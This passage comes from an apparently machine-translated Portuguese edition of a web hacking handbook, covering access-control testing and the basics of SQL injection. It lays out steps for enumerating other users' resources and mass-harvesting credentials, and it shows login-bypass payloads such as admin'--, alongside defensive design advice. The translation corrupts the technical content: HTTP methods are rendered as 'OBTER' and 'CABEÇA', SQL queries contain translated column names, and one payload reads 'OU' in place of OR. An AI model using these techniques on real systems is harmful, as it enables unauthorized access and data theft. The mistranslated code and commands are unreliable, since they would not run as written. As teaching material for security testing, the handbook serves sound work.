http://mdsec.net/auth/472/
http://mdsec.net/auth/466/
```

Quando todas as funcionalidades acessíveis tiverem sido enumeradas, será necessário testar se a segregação de acesso aos recursos por usuário está sendo aplicada corretamente. Em todos os casos em que o aplicativo concede aos usuários acesso a um subconjunto de uma gama mais ampla de recursos do mesmo tipo (como documentos, pedidos, e-mails e detalhes pessoais), pode haver oportunidades para que um usuário obtenha acesso não autorizado a outros recursos.

ETAPAS DO HACK

1. Quando o aplicativo usar identificadores de qualquer tipo (IDs de documentos, números de contas, referências de pedidos) para especificar o recurso que um usuário está solicitando, tente descobrir os identificadores dos recursos aos quais você não tem acesso autorizado.

2. Se for possível gerar uma série desses identificadores em u m a sucessão rápida (por exemplo, criando vários documentos ou pedidos novos), use as técnicas descritas no Capítulo 7 para tokens de sessão para tentar descobrir sequências previsíveis nos identificadores produzidos pelo aplicativo.
3. Se não for possível gerar nenhum identificador novo, você estará restrito a analisar os identificadores que já descobriu ou até mesmo a usar a adivinhação. Se o identificador tiver a forma de um GUID, é improvável que qualquer tentativa baseada em adivinhação seja bem-sucedida. Entretanto, se for um número relativamente pequeno, tente outros números próximos ou números aleatórios com o mesmo número de dígitos.
4. Se os controles de acesso forem violados e os identificadores de recursos forem previsíveis, você poderá montar um ataque automatizado para coletar recursos e informações confidenciais do aplicativo. Use as técnicas descritas no Capítulo 14 para projetar um ataque automatizado sob medida para recuperar os dados de que você precisa.

Uma vulnerabilidade catastrófica desse tipo ocorre quando uma página de informações da conta exibe os detalhes pessoais de um usuário juntamente com seu nome de usuário e senha. Embora a senha normalmente seja mascarada na tela, ela é transmitida integralmente para o navegador. Aqui, muitas vezes é possível iterar rapidamente por toda a gama de identificadores de conta para coletar as credenciais de login de todos os usuários, incluindo os administradores. A Figura 8-5 mostra o Burp Intruder sendo usado para r e a l i z a r um ataque bem-sucedido desse tipo.

Figura 8-5: Um ataque bem-sucedido para coletar nomes de usuário e senhas por meio de uma vulnerabilidade de controle de acesso

EXPERIMENTE!

http://mdsec.net/auth/488/

http://mdsec.net/auth/494/

DICA Quando você detecta uma vulnerabilidade de controle de acesso, um ataque imediato a ser seguido é a tentativa de aumentar ainda mais os seus privilégios, criando uma conta de usuário que tenha privilégios administrativos. Você pode usar vários truques para localizar uma conta administrativa. Usando um plano de controle de acesso como o ilustrado, você pode coletar centenas de credenciais de usuário e não gostar da tarefa de fazer login manualmente como cada usuário até encontrar um administrador. No entanto, quando as contas são identificadas por um número sequencial
ID, é comum descobrir que os números de conta mais baixos são atribuídos aos administradores. Fazer login como os primeiros usuários que foram registrados no aplicativo geralmente identifica um administrador. Se essa abordagem falhar, um método eficaz é encontrar uma função no aplicativo em que o acesso seja devidamente segregado horizontalmente, como a página inicial principal apresentada a cada usuário. Escreva um script para fazer login usando cada conjunto de credenciais capturadas e, em seguida, tente acessar sua própria página inicial. É provável que os usuários administrativos possam visualizar a página inicial de cada usuário, portanto, você detectará imediatamente quando uma conta administrativa estiver sendo usada.

Teste de acesso direto a métodos

Quando um aplicativo usa solicitações que dão acesso direto a métodos de API do lado do servidor, quaisquer pontos fracos de controle de acesso nesses métodos normalmente são identificados usando a metodologia já descrita. No entanto, você também deve testar a existência de APIs adicionais que podem não estar devidamente protegidas.

Por exemplo, um servlet pode ser chamado usando a seguinte solicitação:

```
POST /svc HTTP/1.1
Accept-Encoding: gzip, deflate
Host: wahh-app
Content-Length: 37

servlet=com.ibm.ws.webcontainer.httpsession.IBMTrackerDebug
```

Como esse é um servlet bem conhecido, talvez você possa acessar outros servlets para realizar ações não autorizadas.

ETAPAS DO HACK

1. Identifique todos os parâmetros que seguem as convenções de nomenclatura Java (por exemplo, **`get`**, **`set`**, **`add`**, **`update`**, **`is`** ou **`has`** seguido de uma palavra em maiúscula) ou especifique explicitamente uma estrutura de pacote (por exemplo, **`com.`*`companyname`*** **`.`*`xxx`*`.`*`yyy`*`.`*`ClassName`***). Anote todos os métodos referenciados que puder encontrar.
2. Procure um método que liste as interfaces ou os métodos disponíveis. Verifique o histórico do proxy para ver se ele foi chamado como parte da comunicação normal do aplicativo. Caso contrário, tente adivinhá-lo usando a convenção de nomenclatura observada.
3. Consulte recursos públicos, como mecanismos de pesquisa e sites de fóruns, para determinar outros métodos que possam ser acessíveis.
4. Use as técnicas descritas no Capítulo 4 para adivinhar outros nomes de métodos.
5. Tentativa de acessar todos os métodos coletados usando uma variedade de tipos de contas de usuário, incluindo acesso não autenticado.
6. Se você não souber o número ou os tipos de argumentos esperados por alguns métodos, procure métodos que tenham menos probabilidade de receber argumentos, como **`listInterfaces`** e **`getAllUsersInRoles`**.

Teste de controles sobre recursos estáticos

Nos casos em que os recursos estáticos que o aplicativo está protegendo são acessados diretamente por meio de URLs para os próprios arquivos de recursos, você deve testar se é possível que usuários não autorizados simplesmente solicitem esses URLs diretamente.

ETAPAS DO HACK

1. Percorra o processo normal para obter acesso a um recurso estático protegido para obter um exemplo da URL pela qual ele é recuperado.
2. Usando um contexto de usuário diferente (por exemplo, um usuário com menos privilégios ou uma conta que não tenha feito uma compra obrigatória), tente acessar o recurso diretamente usando o URL que você identificou.
3. Se esse ataque for bem-sucedido, tente entender o esquema de nomenclatura que está sendo usado para arquivos estáticos protegidos. Se possível, crie um ataque automatizado para procurar conteúdo que possa ser útil ou que contenha dados confidenciais (consulte o Capítulo 14).

Teste de restrições em métodos HTTP

Embora possa não haver um meio pronto de detectar se os controles de acesso de um aplicativo usam controles no nível da plataforma sobre métodos HTTP, você pode tomar algumas medidas simples para identificar vulnerabilidades.

ETAPAS DO HACK

1. Usando uma conta com privilégios elevados, identifique algumas solicitações privilegiadas que executam ações confidenciais, como adicionar um novo usuário ou alterar a função de segurança de um usuário.
2. Se essas solicitações não estiverem protegidas por tokens anti-CSRF ou recursos semelhantes (consulte o Capítulo 13), use a conta com privilégios elevados para determinar se o aplicativo ainda executa a ação solicitada se o método HTTP for modificado. Teste os seguintes métodos HTTP:
   - **POST**
   - **OBTER**
   - **CABEÇA**
   - Um método HTTP inválido arbitrário
3. Se o aplicativo honrar quaisquer solicitações usando métodos HTTP diferentes do método original, teste os controles de acesso sobre essas solicitações usando a metodologia padrão já descrita, usando contas com privilégios mais baixos.

Proteção dos controles de acesso

Os controles de acesso são uma das áreas da segurança de aplicativos Web mais fáceis de entender, embora seja necessário aplicar cuidadosamente uma metodologia bem informada e completa ao implementá-los.

Primeiro, você deve evitar várias armadilhas óbvias. Essas armadilhas geralmente decorrem da ignorância sobre os requisitos essenciais do controle de acesso eficaz ou de suposições errôneas sobre os tipos de solicitações que os usuários farão e contra as quais o aplicativo precisa se defender:

- Não confie no desconhecimento dos usuários sobre os URLs dos aplicativos ou sobre os identificadores usados para especificar os recursos do aplicativo, como números de contas e IDs de documentos. Suponha que os usuários conheçam todos os URLs e identificadores do aplicativo e garanta que os controles de acesso do aplicativo sejam suficientes para impedir o acesso não autorizado.

- Não confie em nenhum parâmetro enviado pelo usuário para significar direitos de acesso (como `admin=true`).
- Não presuma que os usuários acessarão as páginas do aplicativo na sequência pretendida. Não presuma que, como os usuários não podem acessar a página Editar usuários, eles não podem acessar a página Editar usuário *X* que está vinculada a ela.
- Não confie que o usuário não adulterará nenhum dado transmitido pelo cliente. Se alguns dados enviados pelo usuário tiverem sido validados e depois forem transmitidos pelo cliente, não confie no valor retransmitido sem revalidação.

A seguir, apresentamos uma abordagem de práticas recomendadas para implementar controles de acesso eficazes em aplicativos da Web:

- Avalie e documente explicitamente os requisitos de controle de acesso para cada unidade de funcionalidade do aplicativo. Isso precisa incluir quem pode usar legitimamente a função e quais recursos os usuários individuais podem acessar por meio da função.
- Conduzir todas as decisões de controle de acesso a partir da sessão do usuário.
- Use um componente central do aplicativo para verificar os controles de acesso.
- Processe cada solicitação de cliente por meio desse componente para validar se o usuário que está fazendo a solicitação tem permissão para acessar a funcionalidade e os recursos que estão sendo solicitados.
- Use técnicas programáticas para garantir que não haja exceções ao ponto anterior. Uma abordagem eficaz é determinar que cada página do aplicativo implemente uma interface que seja consultada pelo mecanismo central de controle de acesso. Se você forçar os desenvolvedores a codificar explicitamente a lógica de controle de acesso em cada página, não haverá desculpas para omissões.
- Para funcionalidades particularmente sensíveis, como páginas administrativas, é possível restringir ainda mais o acesso por endereço IP para garantir que somente usuários de um intervalo de rede específico possam acessar a funcionalidade, independentemente do status de login.
- Se o conteúdo estático precisar ser protegido, há dois métodos para fornecer controle de acesso. Primeiro, os arquivos estáticos podem ser acessados indiretamente, passando um nome de arquivo para uma página dinâmica do lado do servidor que implementa a lógica de controle de acesso relevante. Em segundo lugar, o acesso direto a arquivos estáticos pode ser controlado usando a autenticação HTTP ou outros recursos do servidor de aplicativos para envolver a solicitação recebida e verificar as permissões do recurso antes que o acesso seja concedido.
- Os identificadores que especificam qual recurso um usuário deseja acessar são vulneráveis a adulterações sempre que são transmitidos pelo cliente. O servidor

deve confiar apenas na integridade dos dados do lado do servidor. Sempre que essas identidades forem transmitidas pelo cliente, elas precisarão ser revalidadas para garantir que o usuário esteja autorizado a acessar o recurso solicitado.

- Para funções de aplicativos críticas para a segurança, como a criação de um novo beneficiário de contas em um aplicativo bancário, considere implementar a reautenticação por transação e a autorização dupla para garantir que a função não esteja sendo usada por uma parte não autorizada. Isso também reduz as consequências de outros possíveis ataques, como o sequestro de sessão.
- Registre todos os eventos em que os dados confidenciais são acessados ou em que uma ação confidencial é executada. Esses registros permitirão que possíveis violações do controle de acesso sejam detectadas e investigadas.

Os desenvolvedores de aplicativos da Web geralmente implementam funções de controle de acesso de forma fragmentada. Eles adicionam código a páginas individuais nos casos em que algum controle de acesso é necessário e, muitas vezes, cortam e colam o mesmo código entre páginas para implementar requisitos semelhantes. Essa abordagem traz um risco inerente de defeitos no mecanismo de controle de acesso resultante. Muitos casos são ignorados quando os controles são necessários, os controles projetados para uma área podem não funcionar da maneira pretendida em outra área e as modificações feitas em outros lugares dentro do aplicativo podem quebrar os controles existentes ao violar as suposições feitas por eles.

Em contraste com essa abordagem, o método descrito anteriormente de usar um componente de aplicativo central para impor controles de acesso tem muitos benefícios:

- Ele aumenta a clareza dos controles de acesso dentro do aplicativo, permitindo que diferentes desenvolvedores entendam rapidamente os controles implementados por outros.
- Isso torna a manutenção mais eficiente e confiável. A maioria das alterações precisa ser aplicada apenas uma vez, em um único componente compartilhado, e não precisa ser cortada e colada em vários locais.
- Melhora a adaptabilidade. Quando surgem novos requisitos de controle de acesso, eles podem ser facilmente refletidos em uma API existente implementada por cada página de aplicativo.
- Isso resulta em menos erros e omissões do que se o código de controle de acesso fosse implementado de forma fragmentada em todo o aplicativo.

Um modelo de privilégios em várias camadas

As questões relacionadas ao acesso se aplicam não apenas ao aplicativo Web em si, mas também às outras camadas de infraestrutura que estão abaixo dele, em particular, o servidor de aplicativos, o banco de dados e o sistema operacional. A adoção de uma abordagem de defesa em profundidade para a segurança implica a implementação de controles de acesso em cada uma dessas camadas

para criar várias camadas de proteção. Isso oferece maior garantia contra ameaças de acesso não autorizado, pois se um invasor conseguir comprometer as defesas em uma camada, o ataque ainda poderá ser bloqueado pelas defesas em outra camada. Além de implementar controles de acesso eficazes no próprio aplicativo da Web, conforme já descrito, uma abordagem de várias camadas pode ser aplicada em de várias maneiras para os componentes subjacentes ao aplicativo:

- O servidor de aplicativos pode ser usado para controlar o acesso a caminhos de URL inteiros com base nas funções de usuário definidas na camada do servidor de aplicativos.
- O aplicativo pode empregar uma conta de banco de dados diferente ao realizar as ações de diferentes usuários. Para usuários que devem apenas consultar dados (e não atualizá-los), deve ser usada uma conta com privilégios somente de leitura.
- O controle refinado sobre o acesso a diferentes tabelas do banco de dados pode ser implementado no próprio banco de dados, usando uma tabela de privilégios.
- As contas do sistema operacional usadas para executar cada componente da infraestrutura podem ser restritas aos privilégios menos poderosos que o componente realmente requer.

Em um aplicativo complexo e de segurança crítica, defesas em camadas desse tipo podem ser criadas com a ajuda de uma matriz que define as diferentes funções de usuário dentro do aplicativo e os diferentes privilégios, em cada nível, que devem ser atribuídos a cada função. A Figura 8-6 é um exemplo parcial de uma matriz de privilégios para um aplicativo complexo.

	Servidor de aplicativos	Funções de aplicativo														Privilégios do banco de dados
User type	URL path	User role	Search	Create Application	Edit Application	Purge Application	View Applications	Policy Updates	Rate Adjustment	View User Accounts	Create Users	View Company Ac	Edit Company Ac	Create Company	View Audit Log	Delegate privilege
Administrator	/*	Site Administrator	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
		Support	✓		✓		✓	✓		✓	✓	✓	✓	✓		
Site Supervisor	/admin/*	Back Office – New business		✓			✓									
	/myQuotes/*	Back Office – Referrals		✓	✓	✓		✓	✓							
	/help/*	Back Office – Helpdesk	✓				✓			✓		✓			✓	✓
Company Administrator	/myQuotes/*	Customer – Administrator		✓	✓	✓	✓				✓	✓	✓			✓
	/help/*	Customer – New Business		✓		✓	✓									
		Customer – Support	✓				✓			✓						
Normal User	/myQuotes/dash.jsp	User – Applications	✓	✓			✓									
	/myQuotes/apply.jsp	User – Referrals														
	/myQuotes/search.jsp	User – Helpdesk														
	/help/*	Unregistered (Read Only)	✓				✓									
Audit	(none)	Syslog Server Account													✓	

Figura 8-6: Uma matriz de privilégios para um aplicativo complexo

Em um modelo de segurança desse tipo, é possível ver como vários conceitos úteis de controle de acesso podem ser aplicados:

- Controle programático - A matriz de privilégios individuais do banco de dados é armazenada em uma tabela dentro do banco de dados e é aplicada de forma programática para impor decisões de controle de acesso. A classificação das funções do usuário fornece um atalho para a aplicação de determinadas verificações de controle de acesso, e isso também é aplicado de forma programática. Os controles programáticos podem ser extremamente refinados e podem criar uma lógica arbitrariamente complexa no processo de execução das decisões de controle de acesso dentro do aplicativo.
- Controle de acesso discricionário (DAC) - Os administradores podem delegar seus privilégios a outros usuários em relação a recursos específicos que possuem, empregando o controle de acesso discricionário. Esse é um modelo *de DAC fechado*, no qual o acesso é negado, a menos que seja explicitamente concedido. Os administradores também podem bloquear ou expirar contas de usuários individuais. Esse é um modelo *de DAC aberto*, no qual o acesso é permitido, a menos que seja explicitamente retirado. Vários usuários de aplicativos têm privilégios para criar contas de usuários, aplicando novamente o controle de acesso discricionário.
- Controle de acesso baseado em função (RBAC) - As funções nomeadas contêm diferentes conjuntos de privilégios específicos, e cada usuário é atribuído a uma dessas funções. Isso serve como um atalho para atribuir e aplicar privilégios diferentes e é necessário para ajudar a gerenciar o controle de acesso em aplicativos complexos. O uso de funções para realizar verificações de acesso antecipadas nas solicitações dos usuários permite que muitas solicitações não autorizadas sejam rapidamente rejeitadas com um mínimo de processamento. Um exemplo dessa abordagem é a proteção dos caminhos de URL que tipos específicos de usuários podem acessar.

  Ao projetar mecanismos de controle de acesso baseados em funções, é preciso equilibrar o número de funções para que elas continuem sendo uma ferramenta útil para ajudar a gerenciar privilégios dentro do aplicativo. Se forem criadas muitas funções refinadas, o número de funções diferentes se tornará pesado e será difícil gerenciá-las com precisão. Se forem criadas poucas funções, as funções resultantes serão um instrumento grosseiro para gerenciar o acesso. É provável que usuários individuais recebam privilégios que não são estritamente necessários para desempenhar suas funções.

  Se os controles no nível da plataforma forem usados para restringir o acesso a diferentes funções de aplicativos com base no método HTTP e no URL, eles deverão ser projetados usando um modelo de negação padrão, como é a prática recomendada para regras de firewall. Isso deve incluir várias regras específicas que atribuem determinados métodos HTTP e URLs a determinadas funções, e a regra final deve negar qualquer solicitação que não corresponda a uma regra anterior.
- Controle declarativo - O aplicativo usa contas de banco de dados restritas ao acessar o banco de dados. Ele emprega contas diferentes para grupos

diferentes de usuários, com cada conta tendo o menor nível de privilégio

necessários para executar as ações que o grupo tem permissão para realizar. Controles declarativos desse tipo são declarados de fora do aplicativo. Essa é uma aplicação útil dos princípios de defesa em profundidade, pois os privilégios são impostos ao aplicativo por um componente diferente. Mesmo que um usuário encontre uma maneira de violar os controles de acesso implementados na camada do aplicativo para executar uma ação sensível, como adicionar um novo usuário, ele será impedido de fazer isso. A conta do banco de dados que ele está usando não tem os privilégios necessários no banco de dados.

Existe um meio diferente de aplicar o controle de acesso declarativo no nível do servidor de aplicativos, por meio de arquivos descritores de implantação, que são aplicados durante a implantação do aplicativo. No entanto, esses podem ser instrumentos relativamente simples e nem sempre são bem dimensionados para gerenciar privilégios refinados em um aplicativo grande.

ETAPAS DO HACK

Se você estiver atacando um aplicativo que emprega um modelo de privilégios em várias camadas desse tipo, é provável que muitos dos erros mais óbvios que são comumente cometidos na aplicação de controles de acesso sejam evitados. Você pode descobrir que contornar os controles implementados no aplicativo não o levará muito longe, devido à proteção em vigor em outras camadas. Com isso em mente, várias linhas de ataque em potencial ainda estão disponíveis para você. O mais importante é que a compreensão das limitações de cada tipo de controle, em termos da proteção que ele não oferece, o ajudará a identificar as vulnerabilidades que têm maior probabilidade de afetá-lo:

- As verificações programáticas na camada de aplicativos podem ser suscetíveis a ataques baseados em injeção.
- As funções definidas na camada do servidor de aplicativos geralmente são definidas de forma grosseira e podem estar incompletas.
- Quando os componentes de aplicativos são executados usando contas de sistema operacional com privilégios reduzidos, normalmente eles podem ler muitos tipos de dados potencialmente confidenciais no sistema de arquivos do host. Qualquer vulnerabilidade que conceda acesso arbitrário a arquivos ainda pode ser explorada de forma útil, mesmo que seja apenas para ler dados confidenciais.
- As vulnerabilidades no próprio software do servidor de aplicativos normalmente permitem que você anule todos os controles de acesso implementados na camada de aplicativos, mas você ainda pode ter acesso limitado ao banco de dados e ao sistema operacional.
- Uma única vulnerabilidade de controle de acesso explorável no local certo ainda pode fornecer um ponto de partida para um sério aumento de privilégios. Por exemplo, se você descobrir uma maneira de modificar a função associada à sua conta, poderá descobrir que, ao fazer login novamente com essa conta, terá acesso aprimorado nas camadas do aplicativo e do banco de dados.

Resumo

Os defeitos de controle de acesso podem se manifestar de várias maneiras. Em alguns casos, eles podem ser desinteressantes, permitindo o acesso ilegítimo a uma função inofensiva que não pode ser aproveitada para aumentar ainda mais os privilégios. Em outros casos, encontrar um ponto fraco nos controles de acesso pode levar rapidamente a um comprometimento completo do aplicativo.

As falhas no controle de acesso podem ter várias origens. Um design ruim do aplicativo pode dificultar ou impossibilitar a verificação de acesso não autorizado, um simples descuido pode deixar apenas uma ou duas funções desprotegidas, ou suposições defeituosas sobre como os usuários se comportarão podem deixar o aplicativo sem defesa quando essas suposições forem violadas.

Em muitos casos, encontrar uma brecha nos controles de acesso é quase trivial. Basta solicitar um URL administrativo comum e obter acesso direto à funcionalidade. Em outros casos, pode ser muito difícil, e defeitos sutis podem estar ocultos na lógica do aplicativo, principalmente em aplicativos complexos e de alta segurança. A lição mais importante ao atacar os controles de acesso é procurar em todos os lugares. Se estiver com dificuldades para progredir, seja paciente e teste cada etapa de cada função do aplicativo. Um bug que lhe permita controlar todo o aplicativo pode estar bem próximo.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Um aplicativo pode usar o cabeçalho HTTP `Referer` para controlar o acesso sem nenhuma indicação explícita disso em seu comportamento normal. Como você pode testar esse ponto fraco?
2. Você faz login em um aplicativo e é redirecionado para o seguinte URL:

   ```
   https://wahh-app.com/MyAccount.php?uid=1241126841
   ```

   O aplicativo parece estar passando um identificador de usuário para a página `MyAccount.php`. O único identificador de que você tem conhecimento é o seu próprio. Como você pode testar se o aplicativo está usando esse parâmetro para impor controles de acesso de forma insegura?
3. Um aplicativo da Web na Internet impõe controles de acesso examinando os endereços IP de origem dos usuários. Por que esse comportamento é potencialmente falho?

4. O único objetivo de um aplicativo é fornecer um repositório pesquisável de informações para uso por membros do público. Não há mecanismos de autenticação ou de tratamento de sessão. Quais controles de acesso devem ser implementados no aplicativo?
5. Ao navegar em um aplicativo, você encontra vários recursos confidenciais que precisam ser protegidos contra acesso não autorizado e que têm a extensão de arquivo `.xls`. Por que isso deve chamar sua atenção imediatamente?

CAPÍTULO

9

Ataque a armazenamentos de dados

Quase todos os aplicativos dependem de um armazenamento de dados para gerenciar os dados que são processados no aplicativo. Em muitos casos, esses dados orientam a lógica central do aplicativo, mantendo contas de usuário, permissões, definições de configuração do aplicativo e muito mais. Os armazenamentos de dados evoluíram e se tornaram muito mais do que contêineres passivos para dados. A maioria armazena dados em um formato estruturado, acessado por meio de um formato ou linguagem de consulta predefinida, e contém lógica interna para ajudar a gerenciar esses dados. Normalmente, os aplicativos usam um nível de privilégio comum para todos os tipos de acesso ao armazenamento de dados e ao processar dados pertencentes a diferentes usuários do aplicativo. Se um invasor puder interferir na interação do aplicativo com o armazenamento de dados, para fazer com que ele recupere ou modifique dados diferentes, ele geralmente poderá contornar qualquer nível de privilégio.
controles sobre o acesso aos dados que são impostos na camada de aplicativos.

O princípio descrito acima pode ser aplicado a qualquer tipo de tecnologia de armazenamento de dados. Como este é um manual prático, vamos nos concentrar no conhecimento e nas técnicas necessárias para explorar as vulnerabilidades existentes nos aplicativos do mundo real. De longe, os armazenamentos de dados mais comuns são os bancos de dados SQL, os repositórios baseados em XML e os diretórios LDAP. Exemplos práticos vistos em outros lugares também são abordados.

Ao abordar esses exemplos principais, descreveremos as medidas práticas que você pode tomar para identificar e explorar esses defeitos. Há uma sinergia conceitual no processo de compreensão de cada novo tipo de injeção. Depois de compreender os fundamentos da exploração dessas manifestações da falha, você deve estar confiante de que poderá usar esse conhecimento quando encontrar uma nova categoria

de injeção. De fato, você deve ser capaz de desenvolver meios adicionais de atacar aqueles que outros já estudaram.

Injetando em contextos interpretados

Uma linguagem interpretada é aquela cuja execução envolve um componente de tempo de execução que interpreta o código da linguagem e executa as instruções nele contidas. Por outro lado, uma linguagem compilada é aquela cujo código é convertido em instruções de máquina no momento da geração. No tempo de execução, essas instruções são executadas diretamente pelo processador do computador que a está executando.

Em princípio, qualquer linguagem pode ser implementada usando um interpretador ou um compilador, e a distinção não é uma propriedade inerente da própria linguagem. No entanto, a maioria das linguagens normalmente é implementada em apenas uma dessas duas formas, e muitas das principais linguagens usadas para desenvolver aplicativos da Web são implementadas usando um interpretador, incluindo SQL, LDAP, Perl e PHP.

Devido à forma como as linguagens interpretadas são executadas, surge uma família de vulnerabilidades conhecida como *injeção de código*. Em qualquer aplicativo útil, os dados fornecidos pelo usuário são recebidos, manipulados e executados. Portanto, o código que o intérprete processa é uma mistura das instruções escritas pelo programador e dos dados fornecidos pelo usuário. Em algumas situações, um invasor pode fornecer uma entrada criada que sai do contexto de dados, geralmente fornecendo uma sintaxe que tem um significado especial na gramática da linguagem interpretada que está sendo usada. O resultado é que parte dessa entrada é interpretada como instruções de programa, que são executadas da mesma forma como se tivessem sido escritas pelo programador original. Muitas vezes, portanto, um ataque bem-sucedido compromete totalmente o componente do aplicativo que está sendo visado.

Em linguagens compiladas nativas, por outro lado, os ataques criados para executar comandos arbitrários geralmente são muito diferentes. O método de injeção de código normalmente não aproveita nenhum recurso sintático da linguagem usada para desenvolver o programa de destino, e a carga útil injetada geralmente contém código de máquina em vez de instruções escritas nessa linguagem. Consulte o Capítulo 16 para obter detalhes sobre ataques comuns contra software compilado nativo.

Como contornar um login

O processo pelo qual um aplicativo acessa um armazenamento de dados geralmente é o mesmo, independentemente de esse acesso ter sido acionado pelas ações de um usuário sem privilégios ou de um administrador de aplicativo. O aplicativo Web funciona como um controle de acesso discricionário ao armazenamento de dados, criando consultas para recuperar, adicionar ou modificar dados no armazenamento de dados com base na conta e no tipo do usuário. Um ataque de injeção bem-sucedido que modifica uma consulta (e não apenas os dados) pode ser considerado um ataque de injeção.

dentro da consulta) podem contornar os controles de acesso discricionários do aplicativo e obter acesso não autorizado.

Se a lógica do aplicativo sensível à segurança for controlada pelos resultados de uma consulta, um invasor poderá modificar a consulta para alterar a lógica do aplicativo. Vejamos um exemplo típico em que um armazenamento de dados de back-end é consultado em busca de registros em uma tabela de usuários que correspondam às credenciais fornecidas por um usuário. Muitos aplicativos que implementam uma função de login baseada em formulários usam um banco de dados para armazenar as credenciais do usuário e executam uma consulta SQL simples para validar cada tentativa de login. Aqui está um exemplo típico:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

Essa consulta faz com que o banco de dados verifique cada linha da tabela de usuários e extraia cada registro em que a coluna de `nome de usuário` tenha o valor `marcus` e a coluna de `senha` tenha o valor `secret`. Se os detalhes de um usuário forem retornados ao aplicativo, a tentativa de login será bem-sucedida e o aplicativo criará uma sessão autenticada para esse usuário.

Nessa situação, um invasor pode injetar no campo do nome de usuário ou da senha para modificar a consulta realizada pelo aplicativo e, assim, subverter sua lógica. Por exemplo, se um invasor souber que o nome de usuário do administrador do aplicativo é `admin`, ele poderá fazer login como esse usuário fornecendo qualquer senha e o seguinte nome de usuário:

```
admin'--
```

Isso faz com que o aplicativo execute a seguinte consulta:

```
SELECT * FROM users WHERE nome de usuário = 'admin'--' AND senha = 'foo'
```

Observe que a sequência de comentários (`--`) faz com que o restante da consulta seja ignorado e, portanto, a consulta executada é equivalente a:

```
SELECT * FROM users WHERE nome de usuário = 'admin'
```

para que a verificação de senha seja ignorada.

EXPERIMENTE!

http://mdsec.net/auth/319/

Suponha que o invasor não saiba o nome de usuário do administrador. Na maioria dos aplicativos, a primeira conta no banco de dados é um usuário administrativo, porque essa conta normalmente é criada manualmente e depois é usada para gerar

todas as outras contas por meio do aplicativo. Além disso, se a consulta retornar os detalhes de mais de um usuário, a maioria dos aplicativos simplesmente processará o primeiro usuário cujos detalhes forem retornados. Um invasor pode explorar esse comportamento para fazer login como o primeiro usuário no banco de dados, fornecendo o nome de usuário:

```
' OU 1=1--
```

Isso faz com que o aplicativo execute a consulta:

```
SELECT * FROM users WHERE nome de usuário = '' OR 1=1--' AND senha = 'foo'
```

Devido ao símbolo de comentário, isso é equivalente a:

```
SELECT * FROM users WHERE nome de usuário = '' OR 1=1
```

que retorna os detalhes de todos os usuários do aplicativo.

OBSERVAÇÃO A injeção em um contexto interpretado para alterar a lógica do aplicativo é uma técnica de ataque genérica. Uma vulnerabilidade correspondente poderia surgir em consultas LDAP, consultas XPath, implementações de filas de mensagens ou, de fato, em qualquer linguagem de consulta personalizada.

ETAPAS DO HACK

A injeção em linguagens interpretadas é um tópico amplo, que abrange muitos tipos diferentes de vulnerabilidades e pode afetar todos os componentes da infraestrutura de suporte de um aplicativo da Web. As etapas detalhadas para detectar e explorar falhas de injeção de código dependem da linguagem que está sendo visada e das técnicas de programação empregadas pelos desenvolvedores do aplicativo. Entretanto, em todos os casos, a abordagem genérica é a seguinte:

1. Fornece sintaxe inesperada que pode causar problemas no contexto da linguagem interpretada específica.
2. Identifique quaisquer anomalias na resposta do aplicativo que possam indicar a presença de uma vulnerabilidade de injeção de código.
3. Se alguma mensagem de erro for recebida, examine-a para obter evidências sobre o problema que ocorreu no servidor.
4. Se necessário, modifique sistematicamente sua entrada inicial de maneiras relevantes na tentativa de confirmar ou refutar seu diagnóstico provisório de uma vulnerabilidade.
5. Construa um teste de prova de conceito que faça com que um comando seguro seja executado de forma verificável, para provar conclusivamente que existe uma falha explorável de injeção de código.
6. Explore a vulnerabilidade aproveitando a funcionalidade do idioma e do componente de destino para atingir seus objetivos.

Injeção em SQL

Quase todos os aplicativos da Web utilizam um banco de dados para armazenar os vários tipos de informações de que precisam para operar. Por exemplo, um aplicativo da Web implementado por um varejista on-line pode usar um banco de dados para armazenar as seguintes informações:

- Contas de usuário, credenciais e informações pessoais
- Descrições e preços de produtos para venda
- Pedidos, extratos de conta e detalhes de pagamento
- Os privilégios de cada usuário no aplicativo

O meio de acessar as informações no banco de dados é a Structured Query Language (SQL). A SQL pode ser usada para ler, atualizar, adicionar e excluir informações mantidas no banco de dados.

O SQL é uma linguagem interpretada, e os aplicativos da Web geralmente constroem instruções SQL que incorporam dados fornecidos pelo usuário. Se isso for feito de forma insegura, o aplicativo poderá ficar vulnerável à injeção de SQL. Essa falha é uma das vulnerabilidades mais notórias que afetam os aplicativos da Web. Nos casos mais graves, a injeção de SQL pode permitir que um invasor anônimo leia e modifique todos os dados armazenados no banco de dados e até mesmo assuma o controle total do servidor no qual o banco de dados está sendo executado.

Com a evolução da conscientização sobre a segurança dos aplicativos da Web, as vulnerabilidades de injeção de SQL tornaram-se gradualmente menos difundidas e mais difíceis de detectar e explorar. Muitos aplicativos modernos evitam a injeção de SQL empregando APIs que, se usadas corretamente, são inerentemente seguras contra ataques de injeção de SQL. Nessas circunstâncias, a injeção de SQL geralmente ocorre nos casos ocasionais em que esses mecanismos de defesa não podem ser aplicados. Encontrar a injeção de SQL às vezes é uma tarefa difícil, que exige perseverança para localizar uma ou duas instâncias em um aplicativo em que os controles usuais não foram aplicados.

Com o desenvolvimento dessa tendência, os métodos para encontrar e explorar as falhas de injeção de SQL evoluíram, usando indicadores mais sutis de vulnerabilidades e técnicas de exploração mais refinadas e poderosas. Começaremos examinando os casos mais básicos e, em seguida, descreveremos as técnicas mais recentes de detecção e exploração cegas.

Uma grande variedade de bancos de dados é empregada para dar suporte a aplicativos da Web. Embora os fundamentos da injeção de SQL sejam comuns à grande maioria deles, há muitas diferenças. Elas variam de pequenas variações na sintaxe a divergências significativas no comportamento e na funcionalidade que podem afetar os tipos de ataques que você pode realizar. Por motivos de espaço e sanidade, restringiremos nossos exemplos aos três bancos de dados mais comuns que você provavelmente encontrará: Oracle, MS-SQL e MySQL. Sempre que aplicável, chamaremos a atenção para as diferenças entre essas três plataformas. Equipado com as técnicas que descrevemos aqui,

você deve ser capaz de identificar e explorar falhas de injeção de SQL em qualquer outro banco de dados realizando algumas pesquisas adicionais rápidas.

DICA Em muitas situações, você achará extremamente útil ter acesso a uma instalação local do mesmo banco de dados que está sendo usado pelo aplicativo que você está usando. Muitas vezes, você descobrirá que precisa ajustar uma parte do
